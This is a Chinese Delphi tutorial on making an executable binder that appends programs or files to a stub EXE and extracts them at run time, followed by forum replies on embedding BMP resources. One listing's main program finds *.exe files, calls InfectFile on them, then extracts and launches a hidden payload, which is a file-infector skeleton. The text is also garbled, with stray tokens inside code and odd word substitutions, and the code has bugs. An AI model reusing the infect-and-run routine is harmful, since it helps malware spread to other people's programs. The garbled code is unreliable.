DELPHI文件合并器的制作方法

================================================== ============================

  文件合并器的制作方法

  作者:王昊

  从想到做文件合并器到现在已经有一个多月了,但是始终没有静下心来想它的实现方法. 昨天看数学看烦了, 我终于忍不住扔开了书,开端着手"文件合并器"的编制.3小时后,终于有了眉目,今天又改了一下.现在终于可以和 各位分享我的喜悦了.我乐意将我的方法写给大家,也盼望各位高手不吝赐教.

  先看看我们的目的:编写一个程序A,它能够将两个可执行程序B和C合并在一起,造成

  一个新的可执行程序D. 要让用户执行D的时候,相称于同时运行B和C两个程序.

  我的开发工具:我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是

  DELPHI.假如你须要,也能够用VC或BCB来实现.

  下面我用这三个小时中我斟酌的货色为线索来讲讲重要的原理.

  一. 我的怀疑.

  将两个可以执行的程序合并在一起会变成什么东西?这是我的第一个困惑.要解

  决这个问题,首先要学会 如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步骤.假设有两个可执行文件f1, f2.现在要把他们合并在一起.下面给出原代码.

  var

  strmSource,strmDest:TMemoryStream;

  begin

  //先读f1

  strmSource:=TMemoryStream.Create;

  strmSource.loadfromfile(f1);

  //拷贝到strmdest

  strmDest:=TMemoryStream.Create;

  strmDest.copyfrom(strmSource,strmSource.size);

  strmSource.clear;

  //再读f1

  strmSource.loadfromfile(f2);

  //拷贝到strmdest

  strmDest.seek(strmDest.size,F1知识,soFromBeginning);

  strmDest.copyfrom(strmSource,strmSource.size);

  strmSource.free;

  //这时strmDest里面便是两个文件合并后的内容了.将它保存为文件

  strmDest.SaveToFile('dest.exe');

  strmDest.free;

  end;

  我惊奇的发明,执行dest.exe就相当于执行f1!!为了确认,我将原代码中f1和f2的

  读入次序对调,得到的新的dest.exe执行居然相称于履行f2!!(此处省略了N个感慨号).我又用同样的方式在f1

  的后面增添良多无意思的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在 一起,得到的新文件执行时只是执行第一个文件.这是十分要害的一步.

  二.如何分别?

  合并没有问题了,如何分离呢?在晓得原来的两个文件的大小的情形下,这很轻易

  作到.假设i1和i2是本来两个文件的大小(字节).合并后的文件是"dest.exe".

  var

  strmSource,strmDest:TMemoryStream;

  Begin

  //先读dest.exe

  strmSource:=TMemoryStream.Create;

  strmSource.loadfromfile('dest.exe');

  //拷贝f1到strmdest

  strmDest:=TMemoryStream.Create;

  strmDest.copyfrom(strmSource,i1);

  //保存f1

  strmDest.SaveToFile(f1);

  strmDest.clear;

  //拷贝f2到strmdest

  strmSource.seek(i1,soFromBeginning);

  strmDest.copyfrom(strmSource,i2);

  strmDest.SaveToFile(f2);

  strmDest.free;

  strmSource.free;

  end;

  三.总体思路.

  在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把

  B和C合并起来得到D.那么D存在什么特点呢?D应该至少由三个部门组成(请注意是"至少"):第一部分是一个可

  执行的程序,我把它叫做 标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"如何分离"后应该知道,只有我们知道了B和C的长度时,才干方便的从D中读出他们.而为了使D可以在另一个用户的机子上也可能运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具备四个部分:

  1: S

  2: B

  3: C

  4: 长度信息

  那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?尺度程序又应当保存在哪里呢?

  有两个措施.第一,给用户的程序包括两个文件,一个是A,一个是S.但我感到这样不够爽.于是我用了另一个方法: 将S连在A的后面,成为A'.

  于是乎,当用户执行A'时,A'请求用户抉择两个可执行文件B和C.当用户点击确定时,

  A'将它自身所带的S与B和C合并起来,构成D.然后,用户便可以执行D了,这时的D并不依附于A'.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目

  录.然后调用ShellExecute执行他们.这样就到达了我们的目标.

  那么,长度信息如何定义呢?如何将S连在A的后面呢?S如何完成自身的功能呢?这就是

  我下面要讲的.

  四.保存长度信息.

  我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个

  字符串的内容读到内存流中,于是我采用了先将字符串内容写入一个常设文件中,然后用loadformfile将文件内容读入内存流中.

  然而,我们必需知道连接在D后面的长度信息的详细长度,也就是说用多少个字节保

  存,能力让S读出长度信息.我考虑再三,决议用32个字节来表示每个文件的长度,固然大多数情况下,文件大小不会超越100M.

  看看这里的代码:

  var

  strmSource,strmDest:TMemoryStream;

  s1,s2:string;

  f:TextFile;

  begin

  //先用上面的方法将S和B与C的内容写入strmdest,当初要在strmDest里面添 加长度信息

  //假设s1,s2里放有B和C的大小,先把他们变为32个字节.

  while length(s1)<32 do

  begin

  s1:='0'+s1;

  end;

  while length(s2)<32 do

  begin

  s2:='0'+s1;

  end;

  //s1存入文件

  assignfile(f,'tmp');

  rewrite(f);

  try

  write(f,s1);

  finally

  closefile(f);

  end;

  //文件内容读入strmSource

  strmSource:=TMemoryStream.Create;

  strmSource.loadfromfile('tmp');

  //加到strmDest后面

  strmDest.copyfrom(strmSource,strmSource.size);

  strmSource.clear;

  deletefile('tmp');

  //s2存入文件

  assignfile(f,'tmp');

  rewrite(f);

  try

  write(f,s2);

  finally

  closefile(f);

  end;

  //文件内容读入strmSource

  strmSource:=TMemoryStream.Create;

  strmSource.loadfromfile('tmp');

  //加到strmDest后面

  strmDest.copyfrom(strmSource,strmSource.size);

  strmSource.free;

  deletefile('tmp');

  end;

  应用代码里的方法,便可将长度信息保存在D的最后了.

  五.标准文件.

  现在我想大家觉得疑惑的就是标准文件S了,这到底是个什么玩意儿?怎么做它?

  其实,咱们在前面已经讲过了,"S首先从D的最后取得长度信息,然后根据这些长度

  信息读出B和C,保留于硬盘上的某个目录. 然后调用ShellExecute执行他们".要留神这里的S和D是在一起的,S只不外是D的第一局部.他们的文件名是一样的了.于是就变成了S的功效是从它本身的后面获得长度信息,然后依据这些长度信息读出B跟C,保存于硬盘上的某个目录.而后调用ShellExecute执行他们.我想,详细的办法我前面已经讲的很明白了.只有记住长度信息是分辨用32个

  字节表示的就行了.

  六.完全步骤

  先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'.将A

  '发布给用户.

  七.注意事项.

  这个程序技能性确实很强,然而我以为畸形的人很少会用它.但对那些想散布病毒的人来说,却是一大利器.因而,我在这里要忠告这部分人:制造或披发病毒是违背法律的,将受到法律容许范畴内的

  最高处分.请好自为之。

  而该程序的思路则有很奇妙的利用。你可以将DLL或其余需要的文件衔接在你的程序后面.让你的程序运行时先解出这些文件。这样就能发布只有一个执行文件的程序了,比拟便利,可以辅助VB程序员宣布伪“绿色软件”

  好了,就写到这里。有空我再写点教训出来。

  谢谢大家赏脸看我的文章。

  我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)

  Code here:

  //routines

  procedure CopyStream(Src:TStream;sStartPos:Integer;

  Dst:TStream;dStartPos:Integer;Count:Integer);

  var

  sCurPos,dCurPos:Integer;

  begin

  sCurPos:=Src.Position;

  dCurPos:=Dst.Position;

  src.Seek(sStartPos,0);

  dst.Seek(dStartPos,0);

  dst.CopyFrom(src,Count);

  src.Seek(sCurPos,0);

  dst.Seek(dCurPos,0);

  end;{CopyStream}

  function Getmyname:string;

  var

  cmdline:String;

  myname:Array [0..255] of Char;

  i,j:integer;

  begin

  i:=1;j:=0;

  cmdline:=GetCommandLine;

  while cmdline[i]<>chr(0) do

  begin

  if cmdline[i]<>'"' then

  begin

  myname[j]:=cmdline[i];

  inc(j);

  end;

  inc(i);

  end;

  myname[j-1]:=chr(0);

  Result:=strpas(@myname);

  end;{Getmyname}

  procedure ExtractFile(filename:string);

  var

  sStream,dStream:TFileStream;

  begin

  sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);

  dStream:=TFileStream.Create(filename,fmCreate);

  sStream.Seek(HEADERSIZE,0);

  dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);

  sStream.Free;

  dStream.Free;

  end;

  //主程序开始

  begin

  Counter:=2;

  if FindFirst('*.exe',faAnyFile,sr)=0 then

  begin

  InfectFile(sr.Name);

  while (FindNext(sr)=0) and (Counter>0) do

  begin

  if InfectFile(sr.Name) then Dec(Counter);

  end;

  end;

  FindClose(sr);

  if ExtractFileName(Getmyname)='headerprj.exe' then exit;

  tmpFile:=GetTempFullname;

  ExtractFile(tmpFile);

  fillstartupinfo(si,SW_SHOWDEFAULT);

  CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,ni l,True,0,nil,'.',si,pi);

  end.

  想将.tex.bmp等类型的文件做成.exe文件。看过人家的软件,心中爱慕,痒痒。谁解析一下?

  最好有原代码。c,delphi的都可以。给好多的分分啊 ^_^,我来尝尝?

  1.如果只是把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件

  LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的出发点标识.OK了.

  好比自开释的文件等等,都可以这样做.

  2.如果做个单一的装置程序,之有一个exe.文件,方法和上面差未几.只是在标识上要有

  必定的格式.比方,最后两个字节是表现有多少个文件,文件信息表的偏移量.

  至于文件信息表,可以包含文件在EXE中的偏移量.长度,文件名.这就够了.当然,可以是经由

  压缩的数据,解紧缩后savetofile 就行了 .

  制作方法:要写两个程序,一个是专门在自己的EXE尾部找数据文件信息.根据商定的已知

  格局,轮回读出每个文件的数据,解压缩后savetofile.

  一个是制作程序,上个程序做好后,本制作程序把要打包的文件读入内存stream中,

  计算好长度后,把每个文件的名字,长度,偏移量,写到解压缩程序的尾部!

  制作两个程序:一个主程序,一个辅程序。主程序的作用是往辅程序的尾部添加资源,

  即.tex、.bmp等文件。辅程序则负责对这些资源进行处置,如显示、编纂等。以下是

  它们的例程。

  主程序:

  procedure TForm1.FormCreate(Sender: TObject);

  var

  Target,str:TFilestream;

  Size:Integer;

  Begin

  try

  str:=TFileStream.Create('My.bmp',fmOpenRead or fmShareExclusive);

  Target := TFilestream.create('d:/Project1.exe', fmOpenWrite or fmShareExclusive);

  // d:/Project1.exe 为辅程序

  Target.Seek(0,soFromEnd);

  //往辅程序的尾部添加资源

  Target.CopyFrom(str,0);

  Size:=str.Size + Sizeof(Size);

  //盘算资源大小,并写入辅程序尾部

  Target.WriteBuffer(Size,Sizeof(Size));

  finally

  Target.Free;

  str.Free;

  end;

  end;

  辅程序:

  procedure TForm1.FormCreate(Sender: TObject);

  var

  Source:TFilestream;

  str:TMemoryStream;

  Size:Integer;

  Begin

  try

  str:=TMemoryStream.Create;

  Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);

  Source.Seek(-Sizeof(Size),soFromEnd);

  //读出资源大小

  Source.ReadBuffer(Size,SizeOf(Size));

  //定位到资源的开始位置

  Source.Seek(-Size,soFromEnd);

  //取出资源并存到文件中

  str.CopyFrom(Source,Size - SizeOf(Size));

  str.SaveToFile('Temp.bmp');

  //显示

  Image1.LoadFromFile('Temp.bmp');

  Finally

  str.Free;

  Source.Free;

  end;

  end;

  来自:Lucker, 时间:2000-11-29 13:38:00, ID:406428有一点小过错:Image1.LoadFromFile('Temp.bmp');应改为:

  image1.Picture.LoadFromFile('Temp.bmp');

  来自:Sachow, 时间:2000-11-29 16:31:00, ID:406564有一点错:

  procedure TForm1.Button1Click(Sender: TObject);

  var

  Source:TFilestream;

  str:TMemoryStream;

  Size:Integer;

  begin

  try

  str:=TMemoryStream.Create;

  Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);

  Source.Seek(-Sizeof(Size),soFromEnd);

  //读出资源大小

  Source.ReadBuffer(Size,SizeOf(Size));

  //定位到资源的开始位置

  Source.Seek(-Size,soFromEnd);

  //掏出资源并存到文件中

   str.CopyFrom(Source,Size - SizeOf(Size));

   //上面这一句报错,说是'Stream read error'

  //我执行的是被写入了图片的那个执行程序,对吗?


  str.SaveToFile('Temp.bmp');

  //显示

  Image1.Picture.LoadFromFile('Temp.bmp');

  Finally

  str.Free;

  Source.Free;

  end;

  end;

  来自:tinytao, 时光:2000-11-29 18:56:00, ID:406768Sachow:我Test了,代码准确。

  上面的报错是由于主程序不向Project1.exe加入.BMP

  来自:Sachow, 时间:2000-11-30 10:03:00, ID:407368我已经往“Project1.exe”那个文件里写了一个BMP图片了,只写了一个。

  写完后新文件大小=原文件大小+图片大小。

  如果我一次写了多个图片(或是其它类型的文件),该怎么读出想要的那一个,而不是

  第一个呢?

  来自:Sachow, 时间:2000-11-30 11:23:00, ID:407437胜利了!代码是没错的,先前是我本人搞错了。感激lucker,稍后请再拿分

  来自:Sachow, 时间:2000-11-30 12:01:00, ID:407481我做了一点小的修改,就是不需要文件交流进程,直接从流中读出图片,

  但也有一点不足是只能处理BMP。

  procedure TForm1.Button1Click(Sender: TObject);

  var

  Source:TFilestream;

  Size:Integer;

  begin

  Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);

  Source.Seek(-Sizeof(Size),soFromEnd);

  //读出资源大小

  Source.ReadBuffer(Size,SizeOf(Size));

  //定位到资源的开始位置

  Source.Seek(-Size,soFromEnd);

  Image1.Picture.Bitmap.LoadFromStream(Source);

  Source.Free;

  end;

  来自:Lucker, 时间:2000-11-30 12:19:00, ID:407510to Sachow:

  当然,F1知识,上面的程序只是基本,但加以裁减。你就可以实现往Project1.exe中加入任意庞杂的

  数据,方法如下(实在也是压缩程序的原理之一):

  首先你得定义两个记录:

  TFileRec = record

  name : shortstring;

  start : longint;

  Size:Longint;

  end;

  TArchiveRec = record

  FileCount:longint;

  end;

  TFileRec 用于记录每个文件的信息,F1知识。(以上两个记录的具体内容可自定,但必须能确定

  记载的大小,也即不能在记录中有string类型等不能确定大小的字段),

  TArchiveRec 用于记录插入文件的总个数。

  往Project1.exe中添加资源时,可按照以上的方法进行,即把资源的数据一个一个地往

  Project1.exe的尾部增加.但在加入一个资源之前,你必须先得到当前的地位(可通过

  Target.Size或先移到Target的尾部,再通过Position属性得到),然后写入该文件对应

  的TFileRec记录的Start字段,用于记录该资源在Project1.exe中的起始位置,在加入全体

  资源当前,你再设置TArchiveRec记载的FileCount字段,然后按参加资源的顺序往Project1.exe

  尾部写入对应的TFileRec,最后再写入TArchiveRec记录。从而完成了添加资源操作。

  在Project1.exe中读资源时,要先在Project1.exe的尾部读出TArchiveRec记录以得到资源的

  个数,然后再根据资源的个数顺次读出TFileRec记录,从而得到每个文件的Start等信息,

  这样就可以正确地读出每个资源的数据了。之所以可以这样读,是因为TArchiveRec和TFileRec记录

  的大小是可以断定的(通过Sizeof函数),所以你可以正肯定位。

  其实这种程序的难点就是如何定位,只要实现了正确定位,那所有就OK了。

  通常在Delphi的运用程序中,我们会调用到许多的资源,例如图片,动画(AVI),声音,甚至于别的执行文件。当然,把这些资源散布到不同的目录不失为一个好方法,但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢?

  我们可以自己做一个RC文件,例如 sample.rc ,RC文件其实就是一个资源文件的描写文本,通过“记事本”程序创立就行了。然后可以输入一些我们要定义的资源,例如:

  来自:zyy04, 时间:2001-2-4 14:51:00, ID:448476请持续或停止

  来自:beta, 时间:2001-2-5 2:57:00, ID:448996这样做做出来的都太大了(濒临200K),不符和原意吧,不如做一个不必Form的主程序,

  才2xK罢了,只是不能用流 格式了,可以用经典的 assignfile 啊

  另外,用添加资源的方法,帮助程序不是要调用dcc32 ?麻烦,何况,小的主程序又

  不能用流 格式读取资源,不如原样追加更好一些(因为我做过:-p)

  来自:sun77wind, 时间:2001-2-5 8:47:00, ID:449068没那么麻烦吧,用一个RichEdit,将Text内容输入进去,一编译,就行了。

  用image在设计期将.bmp调入,编译,运行,就可以不要原文件了,岂不简略。

你可能感兴趣的:(DELPHI文件合并器的制作方法)